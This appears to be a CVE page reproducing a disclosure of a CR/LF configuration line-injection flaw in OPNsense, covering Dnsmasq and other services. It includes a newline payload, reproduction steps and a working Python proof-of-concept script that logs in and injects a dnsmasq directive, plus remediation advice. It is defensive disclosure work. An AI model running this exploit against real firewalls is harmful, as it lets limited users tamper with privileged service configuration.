← Back to CVE List
CVE-2026-57154NVD
Vulnerability Summary
Summary An authenticated OPNsense Web UI/API user with access to certain GUI/API settings can inject additional lines into generated, privileged service configuration files by submitting CR/LF characters in fields that are logically expected to be single-line values. One confirmed example is the Dnsmasq DNS & DHCP settings. A user with access to the Dnsmasq settings can inject additional lines into `/usr/local/etc/dnsmasq.conf` via Dnsmasq DHCP boot and DHCP option fields. The `dhcp_boot.filename`, `dhcp_boot.servername`, `dhcp_boot.address`, and `dhcp_options.value` fields are stored as plain text and rendered directly into dnsmasq directives. Because newline characters are not rejected or escaped, an attacker can terminate the intended `dhcp-boot=` or `dhcp-option=` line and add arbitrary dnsmasq directives. This allows a delegated configuration user to alter the effective service configuration beyond the intended setting exposed by the GUI/API. In a tested lab environment, the issue was used to inject `log-facility=/tmp/poc.txt`; after restarting Dnsmasq, the daemon loaded the injected directive and created `/tmp/poc.txt`. Details The common root cause is that several GUI/API fields are modeled as ordinary text values even though they are later rendered into line-oriented configuration files. If those fields accept `\r` or `\n`, the attacker-controlled value can break out of the intended generated line and create additional daemon directives or policy lines. The following confirmed CR/LF line-injection cases appear to share this pattern: | Component | Field / input | Generated privileged sink | Confirmed result | |---|---|---|---| | Dnsmasq DHCP boot | `dhcp_boot.filename`, `dhcp_boot.servername`, `dhcp_boot.address` | `/usr/local/etc/dnsmasq.conf` | Injected extra dnsmasq directives | | Dnsmasq DHCP option | `dhcp_options.value` | `/usr/local/etc/dnsmasq.conf` | Injected extra dnsmasq directives | | OpenVPN instances | `verify-x509-name` | OpenVPN instance config | Injected extra OpenVPN directive | | OpenVPN inline blocks | `auth-gen-token-secret`, static key `key` | OpenVPN instance config | Escaped inline block and injected directive | | DHCPv6 advanced config | `adv_dhcp6_interface_statement_script` | `/var/etc/dhcp6c.conf` | Injected extra dhcp6c statements | | Unbound advanced settings | `advanced.privatedomain`, related advanced domain fields | Unbound generated config | Injected extra Unbound directives | | Unbound ACL | `acls.acl.name` | Unbound generated config | Injected active Unbound directives through display/comment field | | Unbound DNSBL | DNSBL list fields | Unbound DNSBL generated config | Injected DNSBL config / altered generated DNS data | | IPsec Swanctl | `locals.local.id`, `remotes.remote.id` | `/usr/local/etc/swanctl/swanctl.conf` | Injected extra swanctl directives | | NTP | Time server input | `/var/etc/ntpd.conf` | Injected ntpd.conf directive | | PPP / MPD | PPPoE username | `/var/etc/mpd_*.conf` | Injected extra MPD config commands | | Monit | Mail password and adjacent Monit text fields | `/usr/local/etc/monitrc` | Injected Monit config; demonstrated root command execution via Monit | | IPsec strongSwan | Charon attr fields such as `x_28674` | `/usr/local/etc/strongswan.conf` | Injected extra strongSwan directives | | Firewall DNAT | `rule.tag` | `/tmp/rules.debug` / PF ruleset | Injected extra PF ruleset line accepted by `pfctl -nf` | | System sudo settings | `sudo_allow_group` | `/usr/local/etc/sudoers.d/20-opnsense` | Injected sudoers policy accepted by `visudo -cf` | | WebGUI advanced settings | `compression` | Generated `php.ini` files | Injected extra PHP ini directives | | System General | `timezone` | Generated WebGUI `php.ini` files | Stored payload later materialized as extra PHP ini directives | The rest of this advisory describes the Dnsmasq DHCP boot path as one concrete example. Dnsmasq DHCP boot fields The vulnerable path is in the Dnsmasq MVC model, API controller, and template. The DHCP boot dialog exposes the affected fields as normal text inputs in `src/opnsense/mvc/app/controllers/OPNsense/Dnsmasq/forms/dialogDHCPboot.xml`: ```xml <field> <id>boot.filename</id> <label>Filename</label> <type>text</type> </field> <field> <id>boot.servername</id> <label>Servername</label> <type>text</type> </field> <field> <id>boot.address</id> <label>Server address</label> <type>text</type> </field> ``` The corresponding model fields are plain `TextField` values in `src/opnsense/mvc/app/models/OPNsense/Dnsmasq/Dnsmasq.xml`: ```xml <dhcp_boot type="ArrayField"> ... <filename type="TextField"> <Required>Y</Required> </filename> <servername type="TextField"/> <address type="TextField"/> <description type="DescriptionField"/> </dhcp_boot> ``` There is no visible newline/CRLF mask on these fields. Relevant locations: - `src/opnsense/mvc/app/models/OPNsense/Dnsmasq/Dnsmasq.xml:330` defines `dhcp_boot`. - `src/opnsense/mvc/app/models/OPNsense/Dnsmasq/Dnsmasq.xml:349` defines `filename` as `TextField`. - `src/opnsense/mvc/app/models/OPNsense/Dnsmasq/Dnsmasq.xml:352` defines `servername` as `TextField`. - `src/opnsense/mvc/app/models/OPNsense/Dnsmasq/Dnsmasq.xml:353` defines `address` as `TextField`. The API uses generic add/set handlers without additional filtering in `src/opnsense/mvc/app/controllers/OPNsense/Dnsmasq/Api/SettingsController.php`: ```php / dhcp boot options / public function setBootAction($uuid) { return $this->setBase('boot', 'dhcp_boot', $uuid); } public function addBootAction() { return $this->addBase('boot', 'dhcp_boot'); } ``` Relevant locations: - `src/opnsense/mvc/app/controllers/OPNsense/Dnsmasq/Api/SettingsController.php:301` - `src/opnsense/mvc/app/controllers/OPNsense/Dnsmasq/Api/SettingsController.php:303` - `src/opnsense/mvc/app/controllers/OPNsense/Dnsmasq/Api/SettingsController.php:306` - `src/opnsense/mvc/app/controllers/OPNsense/Dnsmasq/Api/SettingsController.php:308` The template renders these values directly into `/usr/local/etc/dnsmasq.conf` in `src/opnsense/service/templates/OPNsense/Dnsmasq/dnsmasq.conf`: ```jinja {% for boot in helpers.toList('dnsmasq.dhcp_boot') %} dhcp-boot= {%- if boot.filename -%} {{ boot.filename }}{% if boot.servername or boot.address %},{% endif -%} {%- endif -%} {%- if boot.servername -%} {{ boot.servername }}{% if boot.address %},{% endif -%} {%- endif -%} {%- if boot.address -%} {{ boot.address }} {%- endif +%} {% endfor %} ``` Because the template writes `boot.filename` directly after `dhcp-boot=`, a value containing a newline creates a second dnsmasq configuration line. Relevant locations: - `src/opnsense/service/templates/OPNsense/Dnsmasq/dnsmasq.conf:341` iterates over `dnsmasq.dhcp_boot`. - `src/opnsense/service/templates/OPNsense/Dnsmasq/dnsmasq.conf:342` emits `dhcp-boot=`. - `src/opnsense/service/templates/OPNsense/Dnsmasq/dnsmasq.conf:352` emits `{{ boot.filename }}`. - `src/opnsense/service/templates/OPNsense/Dnsmasq/dnsmasq.conf:355` emits `{{ boot.servername }}`. - `src/opnsense/service/templates/OPNsense/Dnsmasq/dnsmasq.conf:358` emits `{{ boot.address }}`. The template target writes to the active dnsmasq configuration: - `src/opnsense/service/templates/OPNsense/Dnsmasq/+TARGETS:1` maps `dnsmasq.conf` to `/usr/local/etc/dnsmasq.conf`. The privilege boundary is important. Access is granted through the Dnsmasq ACL: - `src/opnsense/mvc/app/models/OPNsense/Dnsmasq/ACL/ACL.xml:2` defines `page-services-dnsforwarder`. - `src/opnsense/mvc/app/models/OPNsense/Dnsmasq/ACL/ACL.xml:6` covers `api/dnsmasq/`. Therefore, a user who is allowed to manage Dnsmasq settings can inject directives into the generated root-managed service configuration, rather than being limited to the intended DHCP boot fields. The same issue appears present in upstream `stable/26.1` and `master` as of 2026-06-08. It was dynamically validated against a local OPNsense VM using the Dnsmasq API. PoC Prerequisites: 1. OPNsense with Dnsmasq DNS & DHCP enabled. 2. A Web UI/API account with access to Dnsmasq settings, e.g. `page-services-dnsforwarder`. 3. Ability to restart/apply the Dnsmasq service through the UI/API. Payload for the DHCP boot `filename` field: ```text pxelinux.0 log-facility=/tmp/poc.txt ``` This produces the following generated dnsmasq configuration: ```text dhcp-boot=pxelinux.0 log-facility=/tmp/poc.txt ``` Reproduction through the Web UI: 1. Log in to OPNsense. 2. Open the DHCP boot section directly: ```text http://192.168.75.254/ui/dnsmasq/settings#dhcpboot ``` 3. Add a DHCP boot entry. 4. Set `Filename` to the two-line payload above. 5. Leave `Server name` and `Server address` empty. 6. Save the entry. 7. Apply or restart Dnsmasq. 8. Verify on the OPNsense host: ```sh grep -n "log-facility=/tmp/poc.txt" /usr/local/etc/dnsmasq.conf ls -l /tmp/poc.txt ``` Observed result in the lab: <img width="594" height="62" alt="image" src="https://github.com/user-attachments/assets/f72b9d16-0279-4c38-88c7-3ac972f5e8cb" /> The tested VM was a live ISO environment with `/` mounted read-only: ```text /dev/iso9660/OPNSENSE_INSTALL on / (cd9660, local, read-only) ``` For that reason, `/poc.txt` could not be created even by root. `/tmp/poc.txt` was used as the marker file because `/tmp` is writable. On an installed system with a writable root filesystem, the same payload style can target another writable path. The following Python script was used for dynamic validation. It logs in, adds the DHCP boot payload, restarts Dnsmasq, and optionally verifies over SSH: ```python !/usr/bin/env python3 from future import annotations import argparse import http.cookiejar import json import re import ssl import sys import urllib.error import urllib.parse import urllib.request class PocError(RuntimeError): pass class OPNsenseClient: def init(self, base_url: str, timeout: int = 20): self.base_url = base_url.rstrip("/") self.timeout = timeout self.csrf_token = None jar = http.cookiejar.CookieJar() self.opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(jar), urllib.request.HTTPSHandler(context=ssl._create_unverified_context()), ) def request(self, method, path, data=None, headers=None): req_headers = {"User-Agent": "opnsense-dnsmasq-boot-poc/1.0"} if headers: req_headers.update(headers) body = None if data is not None: body = urllib.parse.urlencode(data).encode() req_headers["Content-Type"] = "application/x-www-form-urlencoded" req = urllib.request.Request(self.base_url + path, data=body, headers=req_headers, method=method) with self.opener.open(req, timeout=self.timeout) as resp: return resp.read().decode(errors="replace") def login(self, username, password): html = self.request("GET", "/") match = re.search(r'<input\b(?=[^>]\btype=["\']hidden["\'])([^>]+)>', html, re.I | re.S) if not match: raise PocError("No hidden login token found") tag = match.group(0) name = re.search(r'\bname\s*=\s*(["\'])(.?)\1', tag, re.I).group(2) value = re.search(r'\bvalue\s=\s*(["\'])(.?)\1', tag, re.I).group(2) self.request("POST", "/", { "usernamefld": username, "passwordfld": password, "login": "1", name: value, }, {"X-CSRFToken": value}) settings = self.request("GET", "/ui/dnsmasq/settings") token = re.search(r'X-CSRFToken["\']?\s,\s*"\'["\']', settings, re.I) if not token: raise PocError("No API CSRF token found") self.csrf_token = token.group(1) def post_json(self, path, data=None): body = self.request("POST", path, data or {}, { "X-CSRFToken": self.csrf_token, "X-Requested-With": "XMLHttpRequest", }) return json.loads(body) def main(): parser = argparse.ArgumentParser() parser.add_argument("--target", required=True) parser.add_argument("-u", "--username", required=True) parser.add_argument("-p", "--password", required=True) parser.add_argument("--marker", default="/tmp/poc.txt") args = parser.parse_args() client = OPNsenseClient(args.target) client.login(args.username, args.password) payload = "pxelinux.0\nlog-facility=" + args.marker result = client.post_json("/api/dnsmasq/settings/add_boot", { "boot[filename]": payload, "boot[servername]": "", "boot[address]": "", "boot[description]": "dnsmasq_dhcp_boot_line_injection_poc", }) print(result) print(client.post_json("/api/dnsmasq/service/restart", {})) if name == "main": main() ``` Cleanup: 1. Delete the created DHCP boot entry through the UI or call: ```text POST /api/dnsmasq/settings/del_boot/<uuid> ``` 2. Restart Dnsmasq. 3. Remove the marker file if desired. Impact This is an authenticated configuration line injection vulnerability. An authenticated user with access to affected GUI/API settings can inject arbitrary additional lines into generated service configuration files. In the Dnsmasq case, a user with Dnsmasq settings privileges can inject arbitrary dnsmasq directives into the generated service configuration. This can: - Modify service behavior beyond the intended configuration option exposed by the GUI/API. - Create or append to files in locations writable by the affected service startup/runtime context, as demonstrated with `log-facility=/tmp/poc.txt` in Dnsmasq. - Cause affected services to fail to start by injecting invalid or conflicting directives, resulting in service denial of service. - Cross intended OPNsense RBAC boundaries when a delegated, limited-scope operator can influence privileged backend configuration generated by the system. - Potentially enable higher-impact behavior depending on which directives are accepted by the affected daemon and how the service is deployed. I have not confirmed arbitrary shell command execution for the Dnsmasq path. The confirmed Dnsmasq issue is newline-based configuration line injection with demonstrated service-side file creation and service availability impact. Other affected components may have different impact depending on the semantics of the injected configuration directives. Suggested remediation - Reject both `\r` and `\n` in fields that are logically expected to be single-line values. - For the Dnsmasq DHCP boot path, reject `\r` and `\n` in: - `dhcp_boot.filename` - `dhcp_boot.servername` - `dhcp_boot.address` - For the Dnsmasq DHCP option path, reject `\r` and `\n` in: - `dhcp_options.value` - Add field-specific validation matching the expected grammar of the generated daemon configuration. - Use a framework/model-level single-line text field type or modifier, such as a `StrictTextField` / `SingleLineTextField`, for ordinary text inputs that are later rendered into line-oriented configuration files. - Keep true multiline fields explicit and reviewable, for example certificate/key payloads, SSH authorized keys, uploaded templates, or intentional custom configuration blocks. - Escape or quote rendered values safely in templates as defense in depth where supported by the target configuration syntax. - Consider adding regression tests that verify newline payloads cannot create additional daemon directives or policy lines.
CVSS v3.1 Base Metrics — Score 8.1
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityHigh
AvailabilityHigh
Affected & Patched Versions
- opnsense/core - Dnsmasq MVC configuration <= 26.1.10, <= 26.4.1
- opnsense/core - Dnsmasq MVC configuration 26.1.11, 26.4.1p1